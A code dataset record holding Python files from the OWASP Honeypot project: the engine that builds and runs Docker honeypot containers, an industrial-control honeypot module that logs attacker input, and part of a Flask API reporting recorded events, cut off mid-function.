"alpha_fraction": 0.6114917397499084, "alphanum_fraction": 0.614990770816803, "avg_line_length": 35.296791076660156, "blob_id": "73e0390d0fcd18c4ac3c6389dfc8ef9e10d75008", "content_id": "36ada15834002f04623138f63856faf82ba712b3", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 27150, "license_type": "permissive", "max_line_length": 120, "num_lines": 748, "path": "/core/load.py", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport time\nimport os\nimport json\nimport socket\n\nfrom core.get_modules import load_all_modules\nfrom terminable_thread import Thread\nfrom terminable_thread import threading\nfrom core.alert import info\nfrom core.alert import error\nfrom core.color import finish\nfrom core.alert import messages\nfrom core.compatible import logo\nfrom core.compatible import version\nfrom core.compatible import is_windows\nfrom config import user_configuration\nfrom config import docker_configuration\nfrom config import network_configuration\nfrom core.exit_helper import exit_success\nfrom core.exit_helper import exit_failure\nfrom core.compatible import make_tmp_thread_dir\nfrom core.get_modules import virtual_machine_names_to_container_names\nfrom core.get_modules import virtual_machine_name_to_container_name\nfrom core.network import new_network_events\nfrom core.exit_helper import terminate_thread\nfrom api.server import start_api_server\nfrom core.compatible import check_for_requirements\nfrom core.compatible import copy_dir_tree\nfrom core.compatible import mkdir\nfrom core.compatible import get_module_dir_path\nfrom database.connector import insert_bulk_events_from_thread\nfrom database.connector import insert_events_in_bulk\nfrom core.compatible import is_verbose_mode\n\n# temporary use fixed version of argparse\nif is_windows():\n if version() is 2:\n from lib.argparse.v2 import argparse\n else:\n from lib.argparse.v3 import argparse\nelse:\n import argparse\n\n# tmp dirs\ntmp_directories = []\nprocessor_threads = []\n\n\ndef all_existing_networks():\n \"\"\"\n list of all existing networks\n\n Returns:\n an array with list of all existing networks name\n \"\"\"\n return [network_name.rsplit()[1] for network_name in os.popen(\"docker network ls\").read().rsplit(\"\\n\")[1:-1]]\n\n\ndef create_ohp_networks():\n \"\"\"\n create docker internet and internal network for OWASP Honeypot\n\n Returns:\n True\n \"\"\"\n if \"ohp_internet\" not in all_existing_networks():\n info(\"creating ohp_internet network\")\n os.popen(\"docker network create ohp_internet --opt com.docker.network.bridge.enable_icc=true \"\n \"--opt com.docker.network.bridge.enable_ip_masquerade=true \"\n \"--opt com.docker.network.bridge.host_binding_ipv4=0.0.0.0 --opt \"\n \"com.docker.network.driver.mtu=1500\").read()\n network_json = json.loads(os.popen(\"docker network inspect ohp_internet\").read())[0][\"IPAM\"][\"Config\"][0]\n info(\"ohp_internet network created subnet:{0} gateway:{1}\".format(network_json[\"Subnet\"],\n network_json[\"Gateway\"]))\n if \"ohp_no_internet\" not in all_existing_networks():\n info(\"creating ohp_no_internet network\")\n os.popen(\"docker network create --attachable --internal ohp_no_internet \"\n \"--opt com.docker.network.bridge.enable_icc=true \"\n \"--opt com.docker.network.bridge.enable_ip_masquerade=true \"\n \"--opt com.docker.network.bridge.host_binding_ipv4=0.0.0.0 \"\n \"--opt com.docker.network.driver.mtu=1500\").read()\n network_json = json.loads(os.popen(\"docker network inspect ohp_no_internet\").read())[0][\"IPAM\"][\"Config\"][0]\n info(\"ohp_no_internet network created subnet:{0} gateway:{1}\".format(network_json[\"Subnet\"],\n network_json[\"Gateway\"]))\n return True\n\n\ndef remove_tmp_directories():\n \"\"\"\n remove tmp directories submitted in tmp_directories\n\n Returns:\n True\n \"\"\"\n for tmp_dir in tmp_directories:\n os.remove(tmp_dir)\n return True\n\n\ndef running_containers():\n \"\"\"\n list of running containers\n\n Returns:\n an array with list of running containers name\n \"\"\"\n return [container.rsplit()[-1] for container in os.popen(\"docker ps\").read().rsplit(\"\\n\")[1:-1]]\n\n\ndef all_existing_containers():\n \"\"\"\n list of all existing containers\n\n Returns:\n an array with list of all existing containers name\n \"\"\"\n return [container.rsplit()[-1] for container in os.popen(\"docker ps -a\").read().rsplit(\"\\n\")[1:-1]]\n\n\ndef all_existing_images():\n \"\"\"\n list of all existing images\n\n Returns:\n a array with list of all existing images name\n \"\"\"\n return [container.rsplit()[0] for container in os.popen(\"docker images\").read().rsplit(\"\\n\")[1:-1]]\n\n\ndef stop_containers(configuration):\n \"\"\"\n stop old containers based on images\n\n Args:\n configuration: user final configuration\n\n Returns:\n True\n \"\"\"\n containers_list = running_containers()\n if containers_list:\n for container in virtual_machine_names_to_container_names(configuration):\n if container in containers_list:\n info(\"killing container {0}\".format(os.popen(\"docker kill {0}\".format(container)).read().rsplit()[0]))\n return True\n\n\ndef remove_old_containers(configuration):\n \"\"\"\n remove old containers based on images\n\n Args:\n configuration: user final configuration\n\n Returns:\n True\n \"\"\"\n\n containers_list = all_existing_containers()\n for container in virtual_machine_names_to_container_names(configuration):\n if container in containers_list:\n info(\"removing container {0}\".format(os.popen(\"docker rm {0}\".format(container)).read().rsplit()[0]))\n return True\n\n\ndef get_image_name_of_selected_modules(configuration):\n \"\"\"\n get list of image name using user final configuration\n\n Args:\n configuration: user final configuration\n\n Returns:\n list of virtual machine image name\n \"\"\"\n return virtual_machine_names_to_container_names(configuration)\n\n\ndef remove_old_images(configuration):\n \"\"\"\n remove old images based on user configuration\n\n Args:\n configuration: user final configuration\n\n Returns:\n True\n \"\"\"\n for image in all_existing_images():\n if image in get_image_name_of_selected_modules(configuration):\n info(\"removing image {0}\".format(image))\n os.popen(\"docker rmi {0}\".format(image)).read()\n return True\n\n\ndef create_new_images(configuration):\n \"\"\"\n start new images based on configuration and dockerfile\n\n Args:\n configuration: user final configuration\n\n Returns:\n True\n \"\"\"\n for selected_module in configuration:\n # go to tmp folder to create Dockerfile and files dir\n tmp_dir_name = make_tmp_thread_dir()\n os.chdir(tmp_dir_name)\n # create files dir\n mkdir(\"files\")\n\n # create Dockerfile\n dockerfile = open(\"Dockerfile\", \"w\")\n dockerfile.write(configuration[selected_module][\"dockerfile\"])\n dockerfile.close()\n\n # copy files\n copy_dir_tree(configuration[selected_module][\"files\"], \"files\")\n\n # create docker image\n image_name = virtual_machine_name_to_container_name(\n configuration[selected_module][\"virtual_machine_name\"],\n selected_module\n )\n\n info(\"creating image {0}\".format(image_name))\n\n # in case if verbose mode is enabled, we will be use os.system instead of os.popen to show the outputs in case\n # of anyone want to be aware what's happening or what's the error, it's a good feature for developers as well\n # to create new modules\n if is_verbose_mode():\n os.system(\"docker build . -t {0}\".format(image_name))\n else:\n os.popen(\"docker build . -t {0}\".format(image_name)).read()\n\n # created\n info(\"image {0} created\".format(image_name))\n\n # go back to home directory\n os.chdir(\"../..\")\n\n # submit tmp dir name\n tmp_directories.append(tmp_dir_name)\n return True\n\n\ndef start_containers(configuration):\n \"\"\"\n start containers based on configuration and dockerfile\n\n Args:\n configuration: JSON container configuration\n\n Returns:\n configuration containing IP Addresses\n \"\"\"\n for selected_module in configuration:\n # get the container name to start (organizing)\n # using pattern name will help us to remove/modify the images and modules\n container_name = virtual_machine_name_to_container_name(\n configuration[selected_module][\"virtual_machine_name\"],\n selected_module\n )\n configuration[selected_module]['container_name'] = container_name\n real_machine_port = configuration[selected_module][\"real_machine_port_number\"]\n virtual_machine_port = configuration[selected_module][\"virtual_machine_port_number\"]\n # connect to owasp honeypot networks!\n # run the container with internet access\n os.popen(\n \"docker run {0} --net {4} --name={1} -d -t -p {2}:{3} {1}\".format(\n \" \".join(\n configuration[selected_module][\"extra_docker_options\"]\n ),\n container_name,\n real_machine_port,\n virtual_machine_port,\n 'ohp_internet' if configuration[selected_module][\"virtual_machine_internet_access\"]\n else 'ohp_no_internet'\n )\n ).read()\n try:\n virtual_machine_ip_address = os.popen(\n \"docker inspect -f '{{{{range.NetworkSettings.Networks}}}}\"\n \"{{{{.IPAddress}}}}{{{{end}}}}' {0}\".format(\n container_name\n )\n ).read().rsplit()[0].replace(\"\\'\", \"\") # single quotes needs to be removed in windows\n except Exception as _:\n virtual_machine_ip_address = \"CANNOT_FIND_IP_ADDRESS\"\n # add virtual machine IP Address to configuration\n configuration[selected_module][\"ip_address\"] = virtual_machine_ip_address\n # print started container information\n info(\n \"container {0} started, forwarding 0.0.0.0:{1} to {2}:{3}\".format(\n container_name,\n real_machine_port,\n virtual_machine_ip_address,\n virtual_machine_port\n )\n )\n return configuration\n\n\ndef containers_are_unhealthy(configuration):\n \"\"\"\n check if all selected module containers are up and running!\n\n :param configuration: JSON container configuration\n :return: []/[containters]\n \"\"\"\n unhealthy_containers = [configuration[selected_module]['container_name'] for selected_module in configuration]\n current_running_containers = running_containers()\n return [containter for containter in unhealthy_containers if containter not in current_running_containers]\n\n\ndef wait_until_interrupt(virtual_machine_container_reset_factory_time_seconds,\n configuration,\n new_network_events_thread):\n \"\"\"\n wait for opened threads/honeypots modules\n\n Returns:\n True\n \"\"\"\n # running_time variable will be use to check if its need to reset the container after a while\n # if virtual_machine_container_reset_factory_time_seconds < 0, it will keep containers until user interruption\n running_time = 0\n while True:\n # while True sleep until user send ctrl + c\n try:\n time.sleep(1)\n running_time += 1\n # check if running_time is equal to reset factory time\n if running_time is virtual_machine_container_reset_factory_time_seconds:\n # reset the run time\n running_time = 0\n # stop old containers (in case they are not stopped)\n stop_containers(configuration)\n # remove old containers (in case they are not updated)\n remove_old_containers(configuration)\n # start containers based on selected modules\n start_containers(configuration)\n if not new_network_events_thread.is_alive():\n return error(\"Interrupting the application because network capturing thread is not alive!\")\n if containers_are_unhealthy(configuration):\n return error(\n \"Interrupting the application because \\\"{0}\\\" container(s) is(are) not alive!\"\n .format(\n \", \".join(containers_are_unhealthy(configuration))\n )\n )\n except KeyboardInterrupt:\n # break and return for stopping and removing containers/images\n info(\"interrupted by user, please wait to stop the containers and remove the containers and images\")\n break\n return True\n\n\ndef honeypot_configuration_builder(selected_modules):\n \"\"\"\n honeypot configuration builder\n\n Args:\n selected_modules: list of selected modules\n\n Returns:\n JSON/Dict OHP configuration\n \"\"\"\n # the modules are available in lib/modules/category_name/module_name (e.g. lib/modules/ftp/weak_password\n # they will be listed based on the folder names and if \"Dockerfile\" exist!\n # the Dockerfile will be read and add into JSON configuration (dockerfile)\n honeypot_configuration = {}\n for module in selected_modules:\n # read category configuration (e.g. ftp, ssh, http, etc..), they are located in lib/modules/category/__init__.py\n # in the __init__.py every category has same function as below!\n # def category_configuration():\n # return {\n # \"virtual_machine_name\": \"ohp_sshserver\",\n # \"virtual_machine_port_number\": 22,\n # \"virtual_machine_internet_access\": False,\n # \"real_machine_port_number\": 22\n # }\n\n category_configuration = getattr(\n __import__(\n \"lib.modules.{0}\".\n format(\n module.rsplit(\"/\")[0]),\n fromlist=[\"category_configuration\"]\n ),\n \"category_configuration\"\n )\n # reading each module configuration (e.g. ftp/weak_password, etc..)\n # they are located in lib/modules/category/module_name/__init__.py\n # each module must have such a function (in case you can return {} if you don't have any configuration)\n # def module_configuration():\n # return {\n # \"username\": \"admin\",\n # \"password\": \"123456\"\n # }\n # to replace the category default port for individual modules, you have to add \"real_machine_port_number\"\n # key to module configuration to replace it.\n #\n # for instance:\n # def module_configuration():\n # return {\n # \"username\": \"admin\",\n # \"password\": \"123456\"\n # \"real_machine_port_number\": 2121\n # }\n module_configuration = getattr(\n __import__(\n \"lib.modules.{0}\".\n format(\n module.replace(\"/\", \".\")\n ), fromlist=[\"module_configuration\"]\n ),\n \"module_configuration\"\n )\n\n # combine category + module configuration into one Dict/JSON\n combined_module_configuration = category_configuration()\n combined_module_configuration.update(module_configuration())\n # dockerfile\n dockerfile = open(\n os.path.join(\n get_module_dir_path(module_configuration),\n \"Dockerfile\"\n )\n ).read()\n # based on your configuration, the variables/values will be set into your Dockerfile\n # e.g. username will be replaced by {username} in Dockerfile\n combined_module_configuration[\"dockerfile\"] = dockerfile.format(\n **combined_module_configuration\n )\n # add module files\n combined_module_configuration[\"files\"] = os.path.join(\n get_module_dir_path(\n module_configuration\n ),\n \"files\"\n )\n # combine Dockerfile configuration with module and category configuration\n honeypot_configuration[module] = combined_module_configuration\n return honeypot_configuration\n\n\ndef port_is_reserved(real_machine_port):\n \"\"\"\n check if port is reserved\n\n Args:\n real_machine_port: port number\n\n Returns:\n True or False\n \"\"\"\n try:\n tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n tcp.bind(\n (\n network_configuration()[\"real_machine_ip_address\"],\n real_machine_port\n )\n )\n tcp.close()\n return False\n except Exception as _:\n return True\n\n\ndef reserve_tcp_port(real_machine_port, module_name, configuration):\n \"\"\"\n pick a free port\n\n Args:\n real_machine_port: port number\n module_name: selected module\n configuration: fixed configuration\n\n Returns:\n port number\n \"\"\"\n while True:\n try:\n if not port_is_reserved(real_machine_port):\n unique_port = True\n configuration[module_name][\"real_machine_port_number\"] = real_machine_port\n duplicated_ports = []\n for selected_module in configuration:\n duplicated_ports.append(configuration[selected_module][\"real_machine_port_number\"])\n if duplicated_ports.count(real_machine_port) is 1:\n info(\"port {0} selected for {1}\".format(real_machine_port, module_name))\n return real_machine_port\n except Exception as _:\n del _\n real_machine_port += 1\n\n\ndef conflict_ports(configuration):\n \"\"\"\n check conflict ports in configuration\n\n Args:\n configuration: user final configuration\n\n Returns:\n new fixed configuration\n \"\"\"\n # todo: write documentation\n fixed_configuration = configuration.copy()\n for selected_module in configuration:\n port = reserve_tcp_port(\n configuration[selected_module][\"real_machine_port_number\"],\n selected_module,\n fixed_configuration\n )\n fixed_configuration[selected_module][\"real_machine_port_number\"] = port\n return fixed_configuration\n\n\ndef run_modules_processors(configuration):\n \"\"\"\n run ModuleProcessor for each modules\n\n :param configuration: user final configuration\n :return:\n \"\"\"\n for module in configuration:\n module_processor_thread = Thread(\n target=configuration[module][\"module_processor\"].processor,\n name=virtual_machine_name_to_container_name(\n configuration[module][\"virtual_machine_name\"],\n module\n )\n )\n module_processor_thread.start()\n processor_threads.append(module_processor_thread)\n return\n\n\ndef stop_modules_processors(configuration):\n \"\"\"\n run ModuleProcessor for each modules\n\n :param configuration: user final configuration\n :return:\n \"\"\"\n for module in configuration:\n configuration[module][\"module_processor\"].kill_flag = True\n\n while True:\n if True not in [\n module_processor_thread.isAlive() for module_processor_thread in processor_threads\n ]:\n break\n time.sleep(0.1)\n return\n\n\ndef argv_parser():\n \"\"\"\n parse ARGVs using argparse\n\n Returns:\n parser, parsed ARGVs\n \"\"\"\n # create parser\n parser = argparse.ArgumentParser(prog=\"OWASP Honeypot\", add_help=False)\n # create menu\n engineOpt = parser.add_argument_group(messages(\"en\", \"engine\"), messages(\"en\", \"engine_input\"))\n # add select module options + list of available modules\n engineOpt.add_argument(\"-m\", \"--select-module\", action=\"store\",\n dest=\"selected_modules\", default=user_configuration()[\"default_selected_modules\"],\n help=messages(\"en\", \"select_module\").format(load_all_modules() + [\"all\"]))\n # by default all modules are selected, in case users can exclude one or some (separated with comma)\n engineOpt.add_argument(\"-x\", \"--exclude-module\", action=\"store\",\n dest=\"excluded_modules\", default=user_configuration()[\"default_excluded_modules\"],\n help=messages(\"en\", \"exclude_module\").format(load_all_modules()))\n # limit the virtual machine storage to avoid related abuse\n engineOpt.add_argument(\"-s\", \"--vm-storage-limit\", action=\"store\",\n dest=\"virtual_machine_storage_limit\", type=float,\n default=docker_configuration()[\"virtual_machine_storage_limit\"],\n help=messages(\"en\", \"vm_storage_limit\"))\n # reset the containers once in a time to prevent being continues botnet zombie\n engineOpt.add_argument(\"-r\", \"--vm-reset-factory-time\", action=\"store\",\n dest=\"virtual_machine_container_reset_factory_time_seconds\", type=int,\n default=docker_configuration()[\"virtual_machine_container_reset_factory_time_seconds\"],\n help=messages(\"en\", \"vm_reset_factory_time\"))\n # start api\n engineOpt.add_argument(\"--start-api-server\", action=\"store_true\", dest=\"start_api_server\", default=False,\n help=\"start API server\")\n # enable verbose mode (debug mode)\n engineOpt.add_argument(\"-v\", \"--verbose\", action=\"store_true\", dest=\"verbose_mode\", default=False,\n help=\"enable verbose mode\")\n # disable color CLI\n engineOpt.add_argument(\"--disable-colors\", action=\"store_true\", dest=\"disable_colors\", default=False,\n help=\"disable colors in CLI\")\n # test CI/ETC\n engineOpt.add_argument(\"--test\", action=\"store_true\", dest=\"run_as_test\", default=False, help=\"run a test and exit\")\n # help menu\n engineOpt.add_argument(\"-h\", \"--help\", action=\"store_true\", default=False, dest=\"show_help_menu\",\n help=messages(\"en\", \"show_help_menu\"))\n return parser, parser.parse_args()\n\n\ndef load_honeypot_engine():\n \"\"\"\n load OHP Engine\n\n Returns:\n True\n \"\"\"\n # print logo\n logo()\n\n # parse argv\n parser, argv_options = argv_parser()\n\n #########################################\n # argv rules apply\n #########################################\n # check help menu\n if argv_options.show_help_menu:\n parser.print_help()\n exit_success()\n # check for requirements before start\n check_for_requirements(argv_options.start_api_server)\n # check api server flag\n if argv_options.start_api_server:\n start_api_server()\n exit_success()\n # check selected modules\n if argv_options.selected_modules:\n selected_modules = list(set(argv_options.selected_modules.rsplit(\",\")))\n if \"all\" in selected_modules:\n selected_modules = load_all_modules()\n if \"\" in selected_modules:\n selected_modules.remove(\"\")\n # if selected modules are zero\n if not len(selected_modules):\n exit_failure(messages(\"en\", \"zero_module_selected\"))\n # if module not found\n for module in selected_modules:\n if module not in load_all_modules():\n exit_failure(messages(\"en\", \"module_not_found\").format(module))\n # check excluded modules\n if argv_options.excluded_modules:\n excluded_modules = list(set(argv_options.excluded_modules.rsplit(\",\")))\n if \"all\" in excluded_modules:\n exit_failure(\"you cannot exclude all modules\")\n if \"\" in excluded_modules:\n excluded_modules.remove(\"\")\n # remove excluded modules\n for module in excluded_modules:\n if module not in load_all_modules():\n exit_failure(messages(\"en\", \"module_not_found\").format(module))\n # ignore if module not selected, it will remove anyway\n try:\n selected_modules.remove(module)\n except Exception as _:\n del _\n # if selected modules are zero\n if not len(selected_modules):\n exit_failure(messages(\"en\", \"zero_module_selected\"))\n virtual_machine_container_reset_factory_time_seconds = argv_options. \\\n virtual_machine_container_reset_factory_time_seconds\n run_as_test = argv_options.run_as_test\n #########################################\n # argv rules apply\n #########################################\n # build configuration based on selected modules\n configuration = honeypot_configuration_builder(selected_modules)\n\n info(messages(\"en\", \"honeypot_started\"))\n info(messages(\"en\", \"loading_modules\").format(\", \".join(selected_modules)))\n # check for conflict in real machine ports and pick new ports\n info(\"checking for conflicts in ports\")\n configuration = conflict_ports(configuration)\n # stop old containers (in case they are not stopped)\n stop_containers(configuration)\n # remove old containers (in case they are not updated)\n remove_old_containers(configuration)\n # remove old images (in case they are not updated)\n remove_old_images(configuration)\n # create new images based on selected modules\n create_new_images(configuration)\n # create OWASP Honeypot networks in case not exist\n create_ohp_networks()\n # start containers based on selected modules\n configuration = start_containers(configuration)\n # start network monitoring thread\n new_network_events_thread = Thread(\n target=new_network_events,\n args=(configuration,),\n name=\"new_network_events_thread\"\n )\n new_network_events_thread.start()\n info(\n \"all selected modules started: {0}\".format(\n \", \".join(\n selected_modules\n )\n )\n )\n\n bulk_events_thread = Thread(\n target=insert_bulk_events_from_thread,\n args=(),\n name=\"insert_events_in_bulk_thread\"\n )\n bulk_events_thread.start()\n\n # run module processors\n run_modules_processors(configuration)\n\n # check if it's not a test\n if not run_as_test:\n # wait forever! in case user can send ctrl + c to interrupt\n wait_until_interrupt(\n virtual_machine_container_reset_factory_time_seconds,\n configuration,\n new_network_events_thread\n )\n # kill the network events thread\n terminate_thread(new_network_events_thread)\n terminate_thread(bulk_events_thread)\n insert_events_in_bulk() # if in case any events that were not inserted from thread\n # stop created containers\n stop_containers(configuration)\n # stop module processor\n stop_modules_processors(configuration)\n # remove created containers\n remove_old_containers(configuration)\n # remove created images\n remove_old_images(configuration)\n # remove_tmp_directories() error: access denied!\n # kill all missed threads\n for thread in threading.enumerate()[1:]:\n terminate_thread(thread, False)\n info(\"finished.\")\n # reset cmd/terminal color\n finish()\n return True\n" }, { "alpha_fraction": 0.5230613350868225, "alphanum_fraction": 0.5392802953720093, "avg_line_length": 33.017242431640625, "blob_id": "9512fe819a5d7185aab7f9a3fe70e083739ddceb", "content_id": "92c9a8d84ab2596e400d75557cda92c99a8ad422", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1973, "license_type": "permissive", "max_line_length": 111, "num_lines": 58, "path": "/lib/modules/ics/veeder_root_guardian_ast/__init__.py", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport time\nimport os\nimport json\n\n\nclass ModuleProcessor:\n \"\"\"\n this is the processor to run after docker machine is up to grab the log files or do other needed process...\n \"\"\"\n\n def __init__(self):\n self.log_filename = 'tmp/ics_veeder_root_guardian_ast.log'\n self.kill_flag = False\n\n def processor(self):\n \"\"\"\n processor function will be called as a new thread and will be die when kill_flag is True\n :return:\n \"\"\"\n from database.connector import insert_honeypot_events_data_from_module_processor\n while not self.kill_flag:\n if os.path.exists(self.log_filename) and os.path.getsize(self.log_filename) > 0:\n data_dump = open(self.log_filename).readlines()\n open(self.log_filename, 'w').write('')\n for data in data_dump:\n data_json = json.loads(data)\n ip = data_json[\"ip\"]\n time_of_insertion = data_json[\"date\"]\n recorded_data = {\n \"content\": data_json[\"content\"],\n \"valid_command\": data_json[\"valid_command\"]\n }\n insert_honeypot_events_data_from_module_processor(\n ip,\n \"ics/veeder_root_guardian_ast\",\n time_of_insertion,\n recorded_data\n )\n time.sleep(0.1)\n\n\ndef module_configuration():\n \"\"\"\n module configuration\n\n Returns:\n JSON/Dict module configuration\n \"\"\"\n return {\n \"virtual_machine_port_number\": 10001,\n \"real_machine_port_number\": 10001,\n \"company_name_address\": \"3356234 SL OIL 433234\\r\\n9346 GLODEN AVE.\\r\\nQUEEN SPRING, MD\\r\\n\",\n \"extra_docker_options\": [\"--volume {0}/tmp:/tmp/\".format(os.getcwd())],\n \"module_processor\": ModuleProcessor()\n }\n" }, { "alpha_fraction": 0.4547174870967865, "alphanum_fraction": 0.4624526798725128, "avg_line_length": 25.727596282958984, "blob_id": "5a4060e023d177647b7b31dbc475f5ad0f1a7450", "content_id": "c72f7a1d5df05244409f56e5a33cbb3d56ffe035", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 30122, "license_type": "permissive", "max_line_length": 109, "num_lines": 1127, "path": "/api/server.py", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nfrom flask import Flask\nfrom flask import render_template\nfrom flask import Response\nfrom flask import abort\nfrom flask import request as flask_request\nfrom flask import jsonify\nfrom config import api_configuration\nfrom core.alert import write_to_api_console\nfrom core.get_modules import load_all_modules\nfrom database import connector\nfrom api.database_queries import top_ip_dests_groupby\nfrom api.database_queries import top_machine_names_groupby\nfrom api.database_queries import top_port_dests_groupby\nfrom api.database_queries import top_countries_groupby\nfrom api.database_queries import sort_by_count\nfrom api.database_queries import sort_by_count_and_id\nfrom api.database_queries import group_by_ip_dest\nfrom api.database_queries import group_by_ip_dest_and_password\nfrom api.database_queries import group_by_ip_dest_and_username\nfrom api.utility import msg_structure\nfrom api.utility import all_mime_types\nfrom api.utility import root_dir\nfrom api.utility import fix_date\nfrom api.utility import fix_limit\nfrom api.utility import fix_skip\nfrom api.utility import flask_null_array_response\nfrom api.utility import aggregate_function\n\ntemplate_dir = os.path.join(\n os.path.join(\n os.path.dirname(\n os.path.dirname(__file__)\n ),\n \"web\"\n ),\n \"static\"\n)\napp = Flask(\n __name__,\n template_folder=template_dir\n)\napp.config.from_object(\n __name__\n)\n\n\ndef get_file(filename):\n \"\"\"\n open the requested file in HTTP requests\n\n Args:\n filename: path and the filename\n\n Returns:\n content of the file or abort(404)\n \"\"\"\n try:\n src = os.path.join(root_dir(), filename)\n return open(src, 'rb').read()\n except IOError as _:\n abort(404)\n\n\ndef get_value_from_request(_key):\n \"\"\"\n get a value from GET, POST or CCOKIES\n\n Args:\n _key: the value name to find\n\n Returns:\n the value content if found otherwise None\n \"\"\"\n global flask_request\n try:\n key = flask_request.args[_key]\n except Exception as _:\n try:\n key = flask_request.form[_key]\n except Exception as _:\n try:\n key = flask_request.cookies[_key]\n except Exception as _:\n key = None\n if key:\n # todo: fix it later\n key = key.replace(\"\\\\\\\"\", \"\\\"\").replace(\"\\\\\\'\", \"\\'\")\n return key\n\n\ndef is_authorized():\n \"\"\"\n check the validity of API key\n\n Returns:\n 200 HTTP code if it's valid otherwise 401 error\n\n \"\"\"\n global app\n if app.config[\"OWASP_HONEYPOT_CONFIG\"][\"api_access_key\"] is not None \\\n and app.config[\"OWASP_HONEYPOT_CONFIG\"][\"api_access_key\"] != get_value_from_request(\"key\"):\n abort(401, \"invalid API key\")\n return True\n\n\[email protected](400)\ndef error_400(error):\n \"\"\"\n handle the 400 HTTP error\n\n Args:\n error: the flask error\n\n Returns:\n 400 JSON error\n \"\"\"\n return jsonify(\n msg_structure(status=\"error\", msg=error.description)\n ), 400\n\n\[email protected](401)\ndef error_401(error):\n \"\"\"\n handle the 401 HTTP error\n\n Args:\n error: the flask error\n\n Returns:\n 401 JSON error\n \"\"\"\n return jsonify(\n msg_structure(status=\"error\", msg=error.description)\n ), 401\n\n\[email protected](403)\ndef error_403(error):\n \"\"\"\n handle the 403 HTTP error\n\n Args:\n error: the flask error\n\n Returns:\n 403 JSON error\n \"\"\"\n return jsonify(\n msg_structure(status=\"error\", msg=error.description)\n ), 403\n\n\[email protected](404)\ndef error_404(error):\n \"\"\"\n handle the 404 HTTP error\n\n Args:\n error: the flask error\n\n Returns:\n 404 JSON error\n \"\"\"\n del error\n return jsonify(\n msg_structure(status=\"error\", msg=\"file/path not found!\")\n ), 404\n\n\[email protected]_request\ndef authorization_check():\n \"\"\"\n check if IP filtering applied and API address is in whitelist also API Key is valid\n\n Returns:\n None or Abort(403) or Abort(401)\n \"\"\"\n # IP Limitation\n if app.config[\"OWASP_HONEYPOT_CONFIG\"][\"api_client_white_list\"]:\n if flask_request.remote_addr not in app.config[\"OWASP_HONEYPOT_CONFIG\"][\"api_client_white_list_ips\"]:\n abort(403, \"unauthorized IP\")\n if not app.config[\"OWASP_HONEYPOT_CONFIG\"][\"api_access_without_key\"]:\n is_authorized()\n return\n\n\[email protected](\"/\", methods=[\"GET\", \"POST\"])\ndef index():\n \"\"\"\n index page for WebUI\n\n Returns:\n rendered HTML page\n \"\"\"\n return render_template(\"index.html\")\n\n\[email protected](\"/\", defaults={\"path\": \"\"})\[email protected](\"/<path:path>\")\ndef get_static_files(path):\n \"\"\"\n getting static files and return content mime types\n\n Args:\n path: path and filename\n\n Returns:\n file content and content type if file found otherwise abort(404)\n \"\"\"\n static_types = all_mime_types()\n return Response(\n get_file(\n os.path.join(\n root_dir(), path\n )\n ),\n mimetype=static_types.get(\n os.path.splitext(path)[1],\n \"text/html\"\n )\n )\n\n\[email protected](\"/api/events/count-all-events\", methods=[\"GET\"])\ndef count_all_events():\n \"\"\"\n Get total number of events\n\n Returns:\n JSON/Dict number of all events\n \"\"\"\n date = fix_date(\n get_value_from_request(\"date\")\n )\n if date:\n try:\n return jsonify(\n {\n \"count_all_events_by_date\":\n connector.honeypot_events.count_documents(\n {\n \"date\": {\n \"$gte\": date[0],\n \"$lte\": date[1]\n }\n }\n ) + connector.network_events.count_documents(\n {\n \"date\": {\n \"$gte\": date[0],\n \"$lte\": date[1]\n }\n }\n ),\n \"date\": date\n }\n ), 200\n except Exception as _:\n return flask_null_array_response()\n else:\n try:\n return jsonify(\n {\n \"count_all_events\": (\n connector.honeypot_events.estimated_document_count() +\n connector.network_events.estimated_document_count()\n )\n }\n ), 200\n except Exception as _:\n return flask_null_array_response()\n\n\[email protected](\"/api/events/count-honeypot-events\", methods=[\"GET\"])\ndef count_honeypot_events():\n \"\"\"\n Get total number of honeypot events\n\n Returns:\n JSON/Dict number of honeypot events\n \"\"\"\n date = fix_date(\n get_value_from_request(\"date\")\n )\n if date:\n try:\n return jsonify(\n {\n \"count_honeypot_events_by_date\": connector.honeypot_events.count_documents(\n {\n \"date\": {\n \"$gte\": date[0],\n \"$lte\": date[1]\n }\n }\n ),\n \"date\": date\n }\n ), 200\n except Exception as _:\n return flask_null_array_response()\n else:\n try:\n return jsonify(\n {\n \"count_honeypot_events\": connector.honeypot_events.estimated_document_count()\n }\n ), 200\n except Exception as _:\n return flask_null_array_response()\n\n\[email protected](\"/api/events/count-network-events\", methods=[\"GET\"])\ndef count_network_events():\n \"\"\"\n Get total number of network events\n\n Returns:\n JSON/Dict number of network events\n \"\"\"\n date = fix_date(\n get_value_from_request(\"date\")\n )\n if date:\n try:\n return jsonify(\n {\n \"count_network_events_by_date\": connector.network_events.count_documents(\n {\n \"date\":\n {\n \"$gte\": date[0],\n \"$lte\": date[1]\n }\n }\n ),\n \"date\": date\n }\n ), 200\n except Exception as _:\n return flask_null_array_response()\n else:\n try:\n return jsonify(\n {\n \"count_network_events\": connector.network_events.estimated_document_count()\n }\n ), 200\n except Exception as _:\n return flask_null_array_response()\n\n\[email protected](\"/api/events/honeypot-events-ips\", methods=[\"GET\"])\ndef top_ten_ips_in_honeypot_events():\n \"\"\"\n get top ten repeated ips in honeypot events\n\n Returns:\n JSON/Dict top ten repeated ips in honeypot events\n \"\"\"\n date = fix_date(\n get_value_from_request(\"date\")\n )\n country_ip_dest = get_value_from_request(\"country_ip_dest\")\n top_ips_query = [\n top_ip_dests_groupby,\n {\n \"$skip\": fix_skip(get_value_from_request(\"skip\"))\n },\n {\n \"$limit\": fix_limit(get_value_from_request(\"limit\"))\n }\n 